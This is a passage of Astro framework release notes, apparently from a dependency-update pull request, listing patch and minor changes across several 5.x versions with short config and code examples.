[#&#8203;14562](https://github.com/withastro/astro/pull/14562) [`722bba0`](https://github.com/withastro/astro/commit/722bba0a57984b6b1c4585627cafa22af64e4251) Thanks [@&#8203;erbierc](https://github.com/erbierc)! - Fixes a bug where the behavior of the "muted" HTML attribute was inconsistent with that of other attributes. - [#&#8203;14538](https://github.com/withastro/astro/pull/14538) [`51ebe6a`](https://github.com/withastro/astro/commit/51ebe6ae9307f5c2124162212493f61152221a43) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves how Actions are implemented - [#&#8203;14548](https://github.com/withastro/astro/pull/14548) [`6cdade4`](https://github.com/withastro/astro/commit/6cdade49c975e717f098bb4aa7f03a7b845d0a7c) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Removes support for the `maxAge` property in `cacheHint` objects returned by live loaders. ##### :warning: Breaking change for experimental live content collections only Feedback showed that this did not make sense to set at the loader level, since the loader does not know how long each individual entry should be cached for. If your live loader returns cache hints with `maxAge`, you need to remove this property: ```diff return { entries: [...], cacheHint: { tags: ['my-tag'], - maxAge: 60, lastModified: new Date(), }, }; ``` The `cacheHint` object now only supports `tags` and `lastModified` properties. If you want to set the max age for a page, you can set the headers manually: ```astro --- Astro.headers.set('cdn-cache-control', 'max-age=3600'); --- ``` - [#&#8203;14548](https://github.com/withastro/astro/pull/14548) [`6cdade4`](https://github.com/withastro/astro/commit/6cdade49c975e717f098bb4aa7f03a7b845d0a7c) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds missing `rendered` property to experimental live collections entry type Live collections support a `rendered` property that allows you to provide pre-rendered HTML for each entry. While this property was documented and implemented, it was missing from the TypeScript types. This could lead to type errors when trying to use it in a TypeScript project. No changes to your project code are necessary. You can continue to use the `rendered` property as before, and it will no longer produce TypeScript errors. ### [`v5.14.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5145) [Compare Source](https://github.com/withastro/astro/compare/astro@5.14.4...astro@5.14.5) ##### Patch Changes - [#&#8203;14525](https://github.com/withastro/astro/pull/14525) [`4f55781`](https://github.com/withastro/astro/commit/4f5578190dab96ad0cd117b9e9bb96fdd18730ae) Thanks [@&#8203;penx](https://github.com/penx)! - Fixes `defineLiveCollection()` types - [#&#8203;14441](https://github.com/withastro/astro/pull/14441) [`62ec8ea`](https://github.com/withastro/astro/commit/62ec8ea14a42c1dba81f68c50e987b111fabcce5) Thanks [@&#8203;upsuper](https://github.com/upsuper)! - Updates redirect handling to be consistent across `static` and `server` output, aligning with the behavior of other adapters. Previously, the Node.js adapter used default HTML files with meta refresh tags when in `static` output. This often resulted in an extra flash of the page on redirect, while also not applying the proper status code for redirections. It's also likely less friendly to search engines. This update ensures that configured redirects are always handled as HTTP redirects regardless of output mode, and the default HTML files for the redirects are no longer generated in `static` output. It makes the Node.js adapter more consistent with the other official adapters. No change to your project is required to take advantage of this new adapter functionality. It is not expected to cause any breaking changes. However, if you relied on the previous redirecting behavior, you may need to handle your redirects differently now. Otherwise, you should notice smoother redirects, with more accurate HTTP status codes, and may potentially see some SEO gains. - [#&#8203;14506](https://github.com/withastro/astro/pull/14506) [`ec3cbe1`](https://github.com/withastro/astro/commit/ec3cbe178094e94fcb49cccdcc15c6ffee3104ba) Thanks [@&#8203;abdo-spices](https://github.com/abdo-spices)! - Updates the `<Font />` component so that preload links are generated after the style tag, as recommended by capo.js ### [`v5.14.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5144) [Compare Source](https://github.com/withastro/astro/compare/astro@5.14.3...astro@5.14.4) ##### Patch Changes - [#&#8203;14509](https://github.com/withastro/astro/pull/14509) [`7e04caf`](https://github.com/withastro/astro/commit/7e04caf9a4a75c75f06c4207fae601a5fd251735) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Fixes an error in the docs that specified an incorrect version for the `security.allowedDomains` release. ### [`v5.14.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5143) [Compare Source](https://github.com/withastro/astro/compare/astro@5.14.1...astro@5.14.3) ##### Patch Changes - [#&#8203;14505](https://github.com/withastro/astro/pull/14505) [`28b2a1d`](https://github.com/withastro/astro/commit/28b2a1db4f3f265632f280b0dbc4c5f241c387e2) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `Cannot set property manifest` error in test utilities by adding a protected setter for the manifest property - [#&#8203;14235](https://github.com/withastro/astro/pull/14235) [`c4d84bb`](https://github.com/withastro/astro/commit/c4d84bb654c9a5064b243e971c3b5b280e2b3791) Thanks [@&#8203;toxeeec](https://github.com/toxeeec)! - Fixes a bug where the "tap" prefetch strategy worked only on the first clicked link with view transitions enabled ### [`v5.14.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5141) [Compare Source](https://github.com/withastro/astro/compare/astro@5.14.0...astro@5.14.1) ##### Patch Changes - [#&#8203;14440](https://github.com/withastro/astro/pull/14440) [`a3e16ab`](https://github.com/withastro/astro/commit/a3e16ab6dd0bef9ab6259f23bfeebed747e27497) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where the URLs generated by the experimental Fonts API would be incorrect in dev ### [`v5.14.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5140) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.11...astro@5.14.0) ##### Minor Changes - [#&#8203;13520](https://github.com/withastro/astro/pull/13520) [`a31edb8`](https://github.com/withastro/astro/commit/a31edb8daad8632bacd1861adf6ac720695f7173) Thanks [@&#8203;openscript](https://github.com/openscript)! - Adds a new property `routePattern` available to `GetStaticPathsOptions` This provides the original, dynamic segment definition in a routing file path (e.g. `/[...locale]/[files]/[slug]`) from the Astro render context that would not otherwise be available within the scope of `getStaticPaths()`. This can be useful to calculate the `params` and `props` for each page route. For example, you can now localize your route segments and return an array of static paths by passing `routePattern` to a custom `getLocalizedData()` helper function. The `params` object will be set with explicit values for each route segment (e.g. `locale`, `files`, and `slug)`. Then, these values will be used to generate the routes and can be used in your page template via `Astro.params`. ```astro --- // src/pages/[...locale]/[files]/[slug].astro import { getLocalizedData } from '../../../utils/i18n'; export async function getStaticPaths({ routePattern }) { const response = await fetch('...'); const data = await response.json(); console.log(routePattern); // [...locale]/[files]/[slug] // Call your custom helper with `routePattern` to generate the static paths return data.flatMap((file) => getLocalizedData(file, routePattern)); } const { locale, files, slug } = Astro.params; --- ``` For more information about this advanced routing pattern, see Astro's [routing reference](https://docs.astro.build/en/reference/routing-reference/#routepattern). - [#&#8203;13651](https://github.com/withastro/astro/pull/13651) [`dcfbd8c`](https://github.com/withastro/astro/commit/dcfbd8c9d5dc798d1bcb9b36531c2eded301050d) Thanks [@&#8203;ADTC](https://github.com/ADTC)! - Adds a new `SvgComponent` type You can now more easily enforce type safety for your `.svg` assets by directly importing `SVGComponent` from `astro/types`: ```astro --- // src/components/Logo.astro import type { SvgComponent } from 'astro/types'; import HomeIcon from './Home.svg'; interface Link { url: string; text: string; icon: SvgComponent; } const links: Link[] = [ { url: '/', text: 'Home', icon: HomeIcon, }, ]; --- ``` - [#&#8203;14206](https://github.com/withastro/astro/pull/14206) [`16a23e2`](https://github.com/withastro/astro/commit/16a23e23c3ad2309d3b84962b055f4b2d1c8604c) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Warn on prerendered routes collision. Previously, when two dynamic routes `/[foo]` and `/[bar]` returned values on their `getStaticPaths` that resulted in the same final path, only one of the routes would be rendered while the other would be silently ignored. Now, when this happens, a warning will be displayed explaining which routes collided and on which path. Additionally, a new experimental flag `failOnPrerenderConflict` can be used to fail the build when such a collision occurs. ##### Patch Changes - [#&#8203;13811](https://github.com/withastro/astro/pull/13811) [`69572c0`](https://github.com/withastro/astro/commit/69572c0aa2d453cc399948406dbcbfd12e03c4a8) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new `getFontData()` method to retrieve lower-level font family data programmatically when using the experimental Fonts API The `getFontData()` helper function from `astro:assets` provides access to font family data for use outside of Astro. This can then be used in an [API Route](/en/guides/endpoints/#server-endpoints-api-routes) or to generate your own meta tags. ```ts import { getFontData } from 'astro:assets'; const data = getFontData('--font-roboto'); ``` For example, `getFontData()` can get the font buffer from the URL when using [satori](https://github.com/vercel/satori) to generate Open Graph images: ```tsx // src/pages/og.png.ts import type { APIRoute } from 'astro'; import { getFontData } from 'astro:assets'; import satori from 'satori'; export const GET: APIRoute = (context) => { const data = getFontData('--font-roboto'); const svg = await satori(<div style={{ color: 'black' }}>hello, world</div>, { width: 600, height: 400, fonts: [ { name: 'Roboto', data: await fetch(new URL(data[0].src[0].url, context.url.origin)).then((res) => res.arrayBuffer(), ), weight: 400, style: 'normal', }, ], }); // ... }; ``` See the [experimental Fonts API documentation](https://docs.astro.build/en/reference/experimental-flags/fonts/#accessing-font-data-programmatically) for more information. ### [`v5.13.11`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51311) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.10...astro@5.13.11) ##### Patch Changes - [#&#8203;14409](https://github.com/withastro/astro/pull/14409) [`250a595`](https://github.com/withastro/astro/commit/250a595596e9c7e1a966c5cda40f9bd5cf9d3f66) Thanks [@&#8203;louisescher](https://github.com/louisescher)! - Fixes an issue where `astro info` would log errors to console in certain cases. - [#&#8203;14398](https://github.com/withastro/astro/pull/14398) [`a7df80d`](https://github.com/withastro/astro/commit/a7df80d284652b500079e4476b17d5d1b7746b06) Thanks [@&#8203;idawnlight](https://github.com/idawnlight)! - Fixes an unsatisfiable type definition when calling `addServerRenderer` on an experimental container instance - [#&#8203;13747](https://github.com/withastro/astro/pull/13747) [`120866f`](https://github.com/withastro/astro/commit/120866f35a6b27c31bae1c04c0ea9d6bdaf09b16) Thanks [@&#8203;jp-knj](https://github.com/jp-knj)! - Adds automatic request signal abortion when the underlying socket closes in the Node.js adapter The Node.js adapter now automatically aborts the `request.signal` when the client connection is terminated. This enables better resource management and allows applications to properly handle client disconnections through the standard `AbortSignal` API. - [#&#8203;14428](https://github.com/withastro/astro/pull/14428) [`32a8acb`](https://github.com/withastro/astro/commit/32a8acba50bb15101c099fc7a14081d1a8cf0331) Thanks [@&#8203;drfuzzyness](https://github.com/drfuzzyness)! - Force sharpService to return a Uint8Array if Sharp returns a SharedArrayBuffer - [#&#8203;14411](https://github.com/withastro/astro/pull/14411) [`a601186`](https://github.com/withastro/astro/commit/a601186fb9ac0e7c8ff20887024234ecbfdd6ff1) Thanks [@&#8203;GameRoMan](https://github.com/GameRoMan)! - Fixes relative links to docs that could not be opened in the editor. ### [`v5.13.10`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51310) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.9...astro@5.13.10) ##### Patch Changes - Updated dependencies \[[`1e2499e`](https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.7.3 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.7 ### [`v5.13.9`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5139) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.8...astro@5.13.9) ##### Patch Changes - [#&#8203;14402](https://github.com/withastro/astro/pull/14402) [`54dcd04`](https://github.com/withastro/astro/commit/54dcd04350b83cbf368dfb8d72f7d2ddf209a91e) Thanks [@&#8203;FredKSchott](https://github.com/FredKSchott)! - Removes warning that caused unexpected console spam when using Bun ### [`v5.13.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5138) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.7...astro@5.13.8) ##### Patch Changes - [#&#8203;14300](https://github.com/withastro/astro/pull/14300) [`bd4a70b`](https://github.com/withastro/astro/commit/bd4a70bde3c8e0c04e2754cf26d222aa36d3c3c8) Thanks [@&#8203;louisescher](https://github.com/louisescher)! - Adds Vite version & integration versions to output of `astro info` - [#&#8203;14341](https://github.com/withastro/astro/pull/14341) [`f75fd99`](https://github.com/withastro/astro/commit/f75fd9977f0f3f8afd1128cc3616205edec0a11c) Thanks [@&#8203;delucis](https://github.com/delucis)! - Fixes support for declarative Shadow DOM when using the `<ClientRouter>` component - [#&#8203;14350](https://github.com/withastro/astro/pull/14350) [`f59581f`](https://github.com/withastro/astro/commit/f59581f2d4566c684c587af816e22763440ded19) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Improves error reporting for content collections by adding logging for configuration errors that had previously been silently ignored. Also adds a new error that is thrown if a live collection is used in `content.config.ts` rather than `live.config.ts`. - [#&#8203;14343](https://github.com/withastro/astro/pull/14343) [`13f7d36`](https://github.com/withastro/astro/commit/13f7d36688042cdb5644786d795fc921841da76a) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a regression in non node runtimes ### [`v5.13.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5137) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.6...astro@5.13.7) ##### Patch Changes - [#&#8203;14330](https://github.com/withastro/astro/pull/14330) [`72e14ab`](https://github.com/withastro/astro/commit/72e14abed6e20d31b1cd2caeeaa7e43703bf3aa3) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Removes pinned package that is no longer needed. - [#&#8203;14335](https://github.com/withastro/astro/pull/14335) [`17c7b03`](https://github.com/withastro/astro/commit/17c7b0395c00a0ea29dad9517b60bad3bd3a87a1) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Bumps `sharp` minimal version to `0.34.0` ### [`v5.13.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5136) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.5...astro@5.13.6) ##### Patch Changes - [#&#8203;14294](https://github.com/withastro/astro/pull/14294) [`e005855`](https://github.com/withastro/astro/commit/e0058553b2a6bb03fd864d77a1f07c25c60f7d91) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Restores the ability to use Google Analytics `History change trigger` with the `<ClientRouter />`. - [#&#8203;14326](https://github.com/withastro/astro/pull/14326) [`c24a8f4`](https://github.com/withastro/astro/commit/c24a8f42a17410ea78fc2d68ff0105b931a381eb) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - Updates `vite` version to fix CVE - [#&#8203;14108](https://github.com/withastro/astro/pull/14108) [`218e070`](https://github.com/withastro/astro/commit/218e07054f4fe7a16e13479861dc162f6d886edc) Thanks [@&#8203;JusticeMatthew](https://github.com/JusticeMatthew)! - Updates dynamic route split regex to avoid infinite retries/exponential complexity - [#&#8203;14327](https://github.com/withastro/astro/pull/14327) [`c1033be`](https://github.com/withastro/astro/commit/c1033beafa331bbd67f0ee76b47303deb3db806f) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Pins simple-swizzle to avoid compromised version ### [`v5.13.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5135) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.4...astro@5.13.5) ##### Patch Changes - [#&#8203;14286](https://github.com/withastro/astro/pull/14286) [`09c5db3`](https://github.com/withastro/astro/commit/09c5db37d12862eef8d4ecf62389e10f30a22de9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - **BREAKING CHANGES only to the experimental CSP feature** The following runtime APIs of the `Astro` global have been renamed: - `Astro.insertDirective` to `Astro.csp.insertDirective` - `Astro.insertStyleResource` to `Astro.csp.insertStyleResource` - `Astro.insertStyleHash` to `Astro.csp.insertStyleHash` - `Astro.insertScriptResource` to `Astro.csp.insertScriptResource` - `Astro.insertScriptHash` to `Astro.csp.insertScriptHash` The following runtime APIs of the `APIContext` have been renamed: - `ctx.insertDirective` to `ctx.csp.insertDirective` - `ctx.insertStyleResource` to `ctx.csp.insertStyleResource` - `ctx.insertStyleHash` to `ctx.csp.insertStyleHash` - `ctx.insertScriptResource` to `ctx.csp.insertScriptResource` - `ctx.insertScriptHash` to `ctx.csp.insertScriptHash` - [#&#8203;14283](https://github.com/withastro/astro/pull/14283) [`3224637`](https://github.com/withastro/astro/commit/3224637eca5c065872d92449216cb33baac2dbfd) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where CSP headers were incorrectly injected in the development server. - [#&#8203;14275](https://github.com/withastro/astro/pull/14275) [`3e2f20d`](https://github.com/withastro/astro/commit/3e2f20d07e92b1acfadb1357a59b6952e85227f3) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds support for experimental CSP when using experimental fonts Experimental fonts now integrate well with experimental CSP by injecting hashes for the styles it generates, as well as `font-src` directives. No action is required to benefit from it. - [#&#8203;14280](https://github.com/withastro/astro/pull/14280) [`4b9fb73`](https://github.com/withastro/astro/commit/4b9fb736dab42b8864012db0a981d3441366c388) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused cookies to not be correctly set when using middleware sequences - [#&#8203;14276](https://github.com/withastro/astro/pull/14276) [`77281c4`](https://github.com/withastro/astro/commit/77281c4616b65959715dcbac42bf948bebfee755) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Adds a missing export for `resolveSrc`, a documented image services utility. ### [`v5.13.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5134) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.3...astro@5.13.4) ##### Patch Changes - [#&#8203;14260](https://github.com/withastro/astro/pull/14260) [`86a1e40`](https://github.com/withastro/astro/commit/86a1e40ce21b629a956057b059d06ba78bd89402) Thanks [@&#8203;jp-knj](https://github.com/jp-knj)! - Fixes `Astro.url.pathname` to respect `trailingSlash: 'never'` configuration when using a base path. Previously, the root path with a base would incorrectly return `/base/` instead of `/base` when `trailingSlash` was set to 'never'. - [#&#8203;14248](https://github.com/withastro/astro/pull/14248) [`e81c4bd`](https://github.com/withastro/astro/commit/e81c4bd1cca6739192d33068cbfb2c9e4ced1ffe) Thanks [@&#8203;julesyoungberg](https://github.com/julesyoungberg)! - Fixes a bug where actions named 'apply' do not work due to being a function prototype method. ### [`v5.13.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5133) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.2...astro@5.13.3) ##### Patch Changes - [#&#8203;14239](https://github.com/withastro/astro/pull/14239) [`d7d93e1`](https://github.com/withastro/astro/commit/d7d93e19fbfa52cf74dee40f5af6b7ea6a7503d2) Thanks [@&#8203;wtchnm](https://github.com/wtchnm)! - Fixes a bug where the types for the live content collections were not being generated correctly in dev mode - [#&#8203;14221](https://github.com/withastro/astro/pull/14221) [`eadc9dd`](https://github.com/withastro/astro/commit/eadc9dd277d0075d7bff0e33c7a86f3fb97fdd61) Thanks [@&#8203;delucis](https://github.com/delucis)! - Fixes JSON schema support for content collections using the `file()` loader - [#&#8203;14229](https://github.com/withastro/astro/pull/14229) [`1a9107a`](https://github.com/withastro/astro/commit/1a9107a4049f43c1e4e9f40e07033f6bfe4398e4) Thanks [@&#8203;jonmichaeldarby](https://github.com/jonmichaeldarby)! - Ensures `Astro.currentLocale` returns the correct locale during SSG for pages that use a locale param (such as `[locale].astro` or `[locale]/index.astro`, which produce `[locale].html`) ### [`v5.13.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5132) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.1...astro@5.13.2) ##### Patch Changes - [`4d16de7`](https://github.com/withastro/astro/commit/4d16de7f95db5d1ec1ce88610d2a95e606e83820) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Improves the detection of remote paths in the `_image` endpoint. Now `href` parameters that start with `//` are considered remote paths. - Updated dependencies \[[`4d16de7`](https://github.com/withastro/astro/commit/4d16de7f95db5d1ec1ce88610d2a95e606e83820)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.7.2 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.6 ### [`v5.13.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#51311) [Compare Source](https://github.com/withastro/astro/compare/astro@5.13.0...astro@5.13.1) ##### Patch Changes - [#&#8203;14409](https://github.com/withastro/astro/pull/14409) [`250a595`](https://github.com/withastro/astro/commit/250a595596e9c7e1a966c5cda40f9bd5cf9d3f66) Thanks [@&#8203;louisescher](https://github.com/louisescher)! - Fixes an issue where `astro info` would log errors to console in certain cases. - [#&#8203;14398](https://github.com/withastro/astro/pull/14398) [`a7df80d`](https://github.com/withastro/astro/commit/a7df80d284652b500079e4476b17d5d1b7746b06) Thanks [@&#8203;idawnlight](https://github.com/idawnlight)! - Fixes an unsatisfiable type definition when calling `addServerRenderer` on an experimental container instance - [#&#8203;13747](https://github.com/withastro/astro/pull/13747) [`120866f`](https://github.com/withastro/astro/commit/120866f35a6b27c31bae1c04c0ea9d6bdaf09b16) Thanks [@&#8203;jp-knj](https://github.com/jp-knj)! - Adds automatic request signal abortion when the underlying socket closes in the Node.js adapter The Node.js adapter now automatically aborts the `request.signal` when the client connection is terminated. This enables better resource management and allows applications to properly handle client disconnections through the standard `AbortSignal` API. - [#&#8203;14428](https://github.com/withastro/astro/pull/14428) [`32a8acb`](https://github.com/withastro/astro/commit/32a8acba50bb15101c099fc7a14081d1a8cf0331) Thanks [@&#8203;drfuzzyness](https://github.com/drfuzzyness)! - Force sharpService to return a Uint8Array if Sharp returns a SharedArrayBuffer - [#&#8203;14411](https://github.com/withastro/astro/pull/14411) [`a601186`](https://github.com/withastro/astro/commit/a601186fb9ac0e7c8ff20887024234ecbfdd6ff1) Thanks [@&#8203;GameRoMan](https://github.com/GameRoMan)! - Fixes relative links to docs that could not be opened in the editor. ### [`v5.13.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5130) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.9...astro@5.13.0) ##### Minor Changes - [#&#8203;14173](https://github.com/withastro/astro/pull/14173) [`39911b8`](https://github.com/withastro/astro/commit/39911b823d4617d99cc95e4b7584e9e4b7b90038) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds an experimental flag `staticImportMetaEnv` to disable the replacement of `import.meta.env` values with `process.env` calls and their coercion of environment variable values. This supersedes the `rawEnvValues` experimental flag, which is now removed. Astro allows you to configure a [type-safe schema for your environment variables](https://docs.astro.build/en/guides/environment-variables/#type-safe-environment-variables), and converts variables imported via `astro:env` into the expected type. This is the recommended way to use environment variables in Astro, as it allows you to easily see and manage whether your variables are public or secret, available on the client or only on the server at build time, and the data type of your values. However, you can still access environment variables through `process.env` and `import.meta.env` directly when needed. This was the only way to use environment variables in Astro before `astro:env` was added in Astro 5.0, and Astro's default handling of `import.meta.env` includes some logic that was only needed for earlier versions of Astro. The `experimental.staticImportMetaEnv` flag updates the behavior of `import.meta.env` to align with [Vite's handling of environment variables](https://vite.dev/guide/env-and-mode.html#env-variables) and for better ease of use with Astro's current implementations and features. **This will become the default behavior in Astro 6.0**, and this early preview is introduced as an experimental feature. Currently, non-public `import.meta.env` environment variables are replaced by a reference to `process.env`. Additionally, Astro may also convert the value type of your environment variables used through `import.meta.env`, which can prevent access to some values such as the strings `"true"` (which is converted to a boolean value), and `"1"` (which is converted to a number). The `experimental.staticImportMetaEnv` flag simplifies Astro's default behavior, making it easier to understand and use. Astro will no longer replace any `import.meta.env` environment variables with a `process.env` call, nor will it coerce values. To enable this feature, add the experimental flag in your Astro config and remove `rawEnvValues` if it was enabled: ```diff // astro.config.mjs import { defineConfig } from "astro/config"; export default defineConfig({ + experimental: { + staticImportMetaEnv: true - rawEnvValues: false + } }); ``` ##### Updating your project If you were relying on Astro's default coercion, you may need to update your project code to apply it manually: ```diff // src/components/MyComponent.astro - const enabled: boolean = import.meta.env.ENABLED; + const enabled: boolean = import.meta.env.ENABLED === "true"; ``` If you were relying on the transformation into `process.env` calls, you may need to update your project code to apply it manually: ```diff // src/components/MyComponent.astro - const enabled: boolean = import.meta.env.DB_PASSWORD; + const enabled: boolean = process.env.DB_PASSWORD; ``` You may also need to update types: ```diff // src/env.d.ts interface ImportMetaEnv { readonly PUBLIC_POKEAPI: string; - readonly DB_PASSWORD: string; - readonly ENABLED: boolean; + readonly ENABLED: string; } interface ImportMeta { readonly env: ImportMetaEnv; } + namespace NodeJS { + interface ProcessEnv { + DB_PASSWORD: string; + } + } ``` See the [experimental static `import.meta.env` documentation](https://docs.astro.build/en/reference/experimental-flags/static-import-meta-env/) for more information about this feature. You can learn more about using environment variables in Astro, including `astro:env`, in the [environment variables documentation](https://docs.astro.build/en/guides/environment-variables/). - [#&#8203;14122](https://github.com/withastro/astro/pull/14122) [`41ed3ac`](https://github.com/withastro/astro/commit/41ed3ac54adf1025a38031757ee0bfaef8504092) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds experimental support for automatic [Chrome DevTools workspace folders](https://developer.chrome.com/docs/devtools/workspaces) This feature allows you to edit files directly in the browser and have those changes reflected in your local file system via a connected workspace folder. This allows you to apply edits such as CSS tweaks without leaving your browser tab! With this feature enabled, the Astro dev server will automatically configure a Chrome DevTools workspace for your project. Your project will then appear as a workspace source, ready to connect. Then, changes that you make in the "Sources" panel are automatically saved to your project source code. To enable this feature, add the experimental flag `chromeDevtoolsWorkspace` to your Astro config: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; export default defineConfig({ experimental: { chromeDevtoolsWorkspace: true, }, }); ``` See the [experimental Chrome DevTools workspace feature documentation](https://docs.astro.build/en/reference/experimental-flags/chrome-devtools-workspace/) for more information. ### [`v5.12.9`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5129) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.8...astro@5.12.9) ##### Patch Changes - [#&#8203;14020](https://github.com/withastro/astro/pull/14020) [`9518975`](https://github.com/withastro/astro/commit/951897553921c1419fb96aef74d42ec99976d8be) Thanks [@&#8203;jp-knj](https://github.com/jp-knj) and [@&#8203;asieradzk](https://github.com/asieradzk)! - Prevent double-prefixed redirect paths when using fallback and redirectToDefaultLocale together Fixes an issue where i18n fallback routes would generate double-prefixed paths (e.g., `/es/es/test/item1/`) when `fallback` and `redirectToDefaultLocale` configurations were used together. The fix adds proper checks to prevent double prefixing in route generation. - [#&#8203;14199](https://github.com/withastro/astro/pull/14199) [`3e4cb8e`](https://github.com/withastro/astro/commit/3e4cb8e52a83974cc2671d13fb1b4595fe65085d) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that prevented HMR from working with inline styles ### [`v5.12.8`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5128) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.7...astro@5.12.8) ##### Patch Changes - [`0567fb7`](https://github.com/withastro/astro/commit/0567fb7b50c0c452be387dd7c7264b96bedab48f) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds `//` to list of internal path prefixes that do not have automated trailing slash handling - [#&#8203;13894](https://github.com/withastro/astro/pull/13894) [`b36e72f`](https://github.com/withastro/astro/commit/b36e72f11fbcc0f3d5826f2b1939084f1fb1e3a8) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes Astro Studio commands from the CLI help - Updated dependencies \[[`0567fb7`](https://github.com/withastro/astro/commit/0567fb7b50c0c452be387dd7c7264b96bedab48f)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.7.1 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.5 ### [`v5.12.7`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5127) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.6...astro@5.12.7) ##### Patch Changes - [#&#8203;14169](https://github.com/withastro/astro/pull/14169) [`f4e8889`](https://github.com/withastro/astro/commit/f4e8889c10c25aeb7650b389c35a70780d5ed172) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Skips trailing slash handling for paths that start with `/.`. - [#&#8203;14170](https://github.com/withastro/astro/pull/14170) [`34e6b3a`](https://github.com/withastro/astro/commit/34e6b3a87dd3e9be4886059d1c0efee4c5fa3cda) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where static redirects couldn't correctly generate a redirect when the destination is a prerendered route, and the `output` is set to `"server"`. - [#&#8203;14169](https://github.com/withastro/astro/pull/14169) [`f4e8889`](https://github.com/withastro/astro/commit/f4e8889c10c25aeb7650b389c35a70780d5ed172) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that prevented images from being displayed in dev when using the Netlify adapter with `trailingSlash` set to `always` - Updated dependencies \[[`f4e8889`](https://github.com/withastro/astro/commit/f4e8889c10c25aeb7650b389c35a70780d5ed172)]: - [@&#8203;astrojs/internal-helpers](https://github.com/astrojs/internal-helpers)@&#8203;0.7.0 - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.4 ### [`v5.12.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5126) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.5...astro@5.12.6) ##### Patch Changes - [#&#8203;14153](https://github.com/withastro/astro/pull/14153) [`29e9283`](https://github.com/withastro/astro/commit/29e928391a90844f8b701a581c4f163e0b6c46db) Thanks 